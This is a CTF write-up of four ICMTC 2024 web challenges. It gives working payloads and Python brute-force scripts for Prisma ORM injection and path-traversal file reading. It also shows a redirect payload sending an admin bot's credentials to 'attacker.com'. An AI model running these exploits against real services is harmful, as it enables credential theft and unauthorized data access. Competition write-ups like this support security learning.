ICMTC 2024 FINALS WEB CHALLENGES WRITEUP
WEB WRITEUP FOR ICMTC CTF
Hi I am Mohammed Ashraf AKA logan0x and this is my Writeup for ICMTC FINALS 2024
Restricted Network
In this challenge we need to bypass the php filter to trick the server and make it think we are in the same network as him.
Code analysis
first the server checks if http request method is POST
and if true then the server checks if the header X-Forwarded-For
is set or not if not it will give you error message and if set then we will go to the next check which is an if condition
that checks if the value of X-Forwarded-For
have the string certrestrictednetwork.
in the position 0 using the code stripos($xForwardedFor, 'certrestrictednetwork.') === 0
if true then the server will set the $domain
variable to be equal to the string after the word certrestrictednetwork.
and then the server will check if the value of $domain
is equal to the value of 127.0.0.1
using the function gethostbyname()
if true then the server will give you the flag. PRETTY FORWARD CODE RIGHT?
just send a normal request with the header X-Forwarded-For: certrestrictnetwork.localhost
and you will get the flag.
the flag is encoded with a strange type of encoding that I don’t know what it is but a identifier will know it, i used [https://www.dcode.fr/cipher-identifier] to identify the encoding and it was base 91
so I decoded it and got the flag.
Internship application
The challenge is white box and the source code is given to us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
const express = require('express');
const bodyParser = require('body-parser');
const basicAuth = require('basic-auth');
const db = require('./database');
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.set('view engine', 'ejs');
// Serve static files
app.use(express.static('public'));
const flag = 'EGCERT{placeholder}';
const adminUser = {
name: 'admin',
pass: 'admin'
};
// Authentication middleware
const auth = (req, res, next) => {
const user = basicAuth(req);
if (user && user.name === adminUser.name && user.pass === adminUser.pass) {
return next();
} else {
res.set('WWW-Authenticate', 'Basic realm="example"');
return res.status(401).send('Authentication required.');
}
};
// Routes
app.get('/', (req, res) => {
res.render('index');
});
app.post('/submit', (req, res) => {
const { email, cover_letter } = req.body;
db.run("INSERT INTO submissions (email, cover_letter, approved) VALUES (?, ?, ?)", [email, cover_letter, 0], async function(err) {
if (err) {
if (err.message.includes('UNIQUE constraint failed')) {
return res.status(400).send('Email already exists.');
} else {
return console.error(err.message);
}
}
res.redirect('/redirect?url=thanks');
// Hidden
// Notify the admin to approve the application
});
});
app.get('/admin', auth, (req, res) => {
db.all("SELECT * FROM submissions", [], (err, rows) => {
if (err) {
throw err;
}
res.render('admin', { submissions: rows, flag: flag });
});
});
app.get('/display/:id', auth, (req, res) => {
const id = req.params.id;
db.get("SELECT * FROM submissions WHERE id = ?", [id], (err, row) => {
if (err) {
return console.error(err.message);
}
res.render('display', { submission: row });
});
});
app.get('/approve/:email', auth, (req, res) => {
const email = req.params.email;
db.run("UPDATE submissions SET approved = 1 WHERE email = ?", [email], (err) => {
if (err) {
return console.error(err.message);
}
res.sendStatus(200);
});
});
app.get('/delete/:email', auth, (req, res) => {
const email = req.params.email;
db.run("DELETE FROM submissions WHERE email = ?", [email], (err) => {
if (err) {
return console.error(err.message);
}
res.sendStatus(200);
});
});
app.get('/redirect', (req, res) => {
const url = req.query.url;
res.redirect(url);
});
app.get('/thanks', (req, res) => {
res.render('thanks');
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
Code analysis
The server is a simple express server that serves a static file and has 8 routes:
/
which renders the index page./submit
which takes the email and cover letter from the body and inserts them into the database./admin
which renders the admin page and shows all the submissions in the database./display/:id
which renders the display page and shows the submission with the given id./approve/:email
which approves the submission with the given email./delete/:email
which deletes the submission with the given email./redirect
which redirects to the given url./thanks
which renders the thanks page.
The server uses basic authentication to protect the admin routes. The back end using library called basic-auth
to get the username and password from the request and check if they are equal to the admin username and password. If they are equal, the server will call the next middleware, otherwise, it will return a 401 status code with the message Authentication required.
.
In the backend there is a bot that will approve the application automatically. they informed us in the competition.
Vulnerability
1- You can see that /redirect
route is vulnerable to open redirect attack because it takes the url from the query string and redirects to it without any validation. This can be exploited to redirect the admin to an attacker-controlled website and steal the admin’s credentials.
2- There is no validation on the email field so we can insert any character in the email field and it will be inserted in the database. So imagine the scinario where the email field has no validation and being inserted as it’s right after the approve
endpoint in the url so if the email is equal to email = ../
then when the bot trying to approve the application it will actually goes to the root directory https://domain/approve/../ == https://domain/
Exploitation
1- To exploit the open redirect vulnerability, and no email validation we can set the email to ../redirect?url=http://attacker.com
and when the bot tries to approve the application, it will redirect to http://attacker.com
and we wil receive the admin credentials. how the admin credentials will be sent to us? the admin credentials are sent in the request header Authorization
this is how basic-auth
works so we need to create a server that will receive the request and log the headers.
you can use webhook site like webhook.site
to receive the request and log the headers.
The credentials are sent to us in the Authorization
header and was base64 encoded but the webhook site decoded it for us.
you will need to add the CORS header to your webhook url, you can do that from edit url button in webhook.site.
now we need to set that header in our request to the admin
endpoint and we will get the flag.
Reveal Me
In this challenge we need to do ORM injection
to bypass the login and get the flag. it’s error based injection.
This is a black box challenge and the source code is not given to us.
the website have basic login form with email and password fields and also a register form.
if you loged in successfully you will find nothing but just a api to edit you profile details like first name
and last name
and secret
, obvious that the secret is field is part of the challenge.
the website have forgot password functionality that sends the user a link to reset the password.
the website have about page that shows admin email.
First i thought we need to manipulate the JWT token but after some testing i found that the JWT token can not be manipulated.
Then i start testing for SQL injection and i found nothing. Then I Found that the Framework is express
and nodejs
so i started testing for NoSQL injection
as this framework usually using NoSQL databases like MongoDB
.
and i successfully broke the reset password functionality.
THIS NOT MEANS THAT THE VULN HERE IS NOSQL INJECTION , IT JUST A ACCIDENT, BUT THE VULN IS
PRISMA INJECTION
I TAUGHT FIRST IT’S NOSQL INJECTION BUT THE EXPERIENCED GEEK @abd0ghazy CORRECTED ME After he read the writeup AND TOLD ME IT’SPRISMA INJECTION
AND ALSO RECOMMENDED THIS SOURCE https://www.elttam.com/blog/plorming-your-primsa-orm/ TO LEARN MORE ABOUT PRISMA INJECTION.
prisma is just a ORM that is used to interact with the database and it’s not a database itself. ORMs are used to interact with the database and they are used to add a layer of abstraction between the application and the database so programmers have no need to write SQL queries anymore. prisma and other ORMs can be used of the top of SQL databases and NoSQL databases.
after some searching about prisma syntax here is the syntax for the query on the server side.
1
2
3
4
5
const user = await prisma.user.findUnique({
where: {
email: email, // email is the email that the user entered in the forgot password form
},
});
After some research i found that i can add another field to the query and it will be executed. so i added a dummy field like e
to show the error message. And fortunately the error message is very clear here is all the fields i can add beside the email field.
Then let’s get some new error we will make the query like that :
1
2
3
4
5
6
7
8
9
const user = await prisma.user.findUnique({
where: {
email: "admin@reveal.com"
},
password: {
w: e
}
});
And again the error message is very clear and it says that the argument e
is not valid so we can’t use it.
Then i tried to use the startsWith
field and it worked.
What is we changed the query to be like this?
1
2
3
4
5
6
7
8
const user = await prisma.user.findUnique({
where: {
email: "admin@reveal.com"
},
password: {
startsWith: password
}
});
Here is the json payload that i sent to the server.
1
2
3
4
{
"email": "admin@reveal.com",
"secret":{"startsWith":"a"}
}
now we can brute force the secret field and get the flag. why not brute force the password field? because the password field is hashed and we can’t crack it.
why not the reset password token field? because it’s being changed every time you request a reset password link.
Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time
import urllib.parse
url = 'http://209.38.222.134:3000/api/auth/reset'
email = 'admin@reveal.com'
token_prefix = ''
alphabet = """A1BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_@!#$%^&*()[]-+=|;:,<>/?~ \n\t\r'"\`\\."""
def check_token(token):
payload = {
'email': email,
'secret': {
'startsWith': token_prefix + token
}
}
headers = {'Content-Type': 'application/json'}
response = requests.post(url, json=payload, headers=headers)
if 'Reset email sent successfully.' in response.text:
return True
else:
return False
def brute_force_token(base_token):
while True:
found = False
for char in alphabet:
encoded_char = urllib.parse.quote(char, safe='')
test_token = base_token + encoded_char
if check_token(test_token):
base_token = test_token
found = True
print("Token until now : " + token_prefix + urllib.parse.unquote(base_token))
break
if not found:
break
return base_token
base_token = ''
result = brute_force_token(base_token)
print('Successfully brute forced token:', token_prefix + urllib.parse.unquote(result))
The script will brute force the secret field and get the flag.
File Pattern Challenge
This challenge is about finding the flag in a file that is being served by the server.
The Flag path is in html comment in the front end source code.
Basic Test
i just started by playing with the pattern field to see what will happen
The output gives you the position of the sequence
you entered in the pattern
field.
Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
url = "http://46.101.221.164:8080/"
filename = "../../../tmp/flag_21e0e99ddec45ab7a40a675175e2704d.txt"
characters = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_@!#$%^&*()[]-+=|;:,.<>/?~ \n\t\r'"\`\\"""
def check_pattern(pattern, line_number):
data = {
"filename": filename,
"pattern": pattern
}
response = requests.post(url, data=data)
return f"Line: {line_number}" in response.text
def print_and_log(message, file):
print(message)
file.write(message + '\n')
file.flush()
def find_line_content(line_number, output_file):
known_content = ""
while True:
found = False
for char in characters:
test_pattern = known_content + char
if check_pattern(test_pattern, line_number):
known_content = test_pattern
print_and_log(f"Content found so far on line {line_number}: {repr(known_content)}", output_file)
found = True
if char == '\n':
print_and_log(f"End of line {line_number} found.", output_file)
return known_content
break
if not found:
if known_content:
print_and_log(f"No match found. Resetting search for line {line_number}.", output_file)
known_content = ""
else:
print_and_log(f"No content found for line {line_number}.", output_file)
return None
def main():
with open('output.txt', 'w') as output_file:
for line_number in range(1, 13): # Check lines 1 to 12
print_and_log(f"Searching content for line {line_number}", output_file)
line_content = find_line_content(line_number, output_file)
if line_content:
print_and_log(f"Complete line content found for line {line_number}: {repr(line_content)}", output_file)
else:
print_and_log(f"No content found for line {line_number}.", output_file)
print("Line content discovery process completed. Check output.txt for the full log.")
if __name__ == "__main__":
main()
The script idea in detail :
the script will brute force by each character in the
characters
string and check if the word “Line: {line_number}” is in the response text because the server will return the line number if the word is found in the file and if not the server will return the word “No match found” so we can use this to check if the character is correct or not.if the character is correct the script will continue to the next character and if all chars exhausted and no new character found the script will move to the next line.
the script will continue until it finds the flag.
The script is very slow because it’s checking each character in the
characters
string and it’s not optimized but it will get the flag.
Conclusion
This is my writeup for ICMTC 2024 Finals Web Challenges. I hope you enjoyed it and learned something new. WE GOT 4TH, that was disappointing but we will come back stronger next time.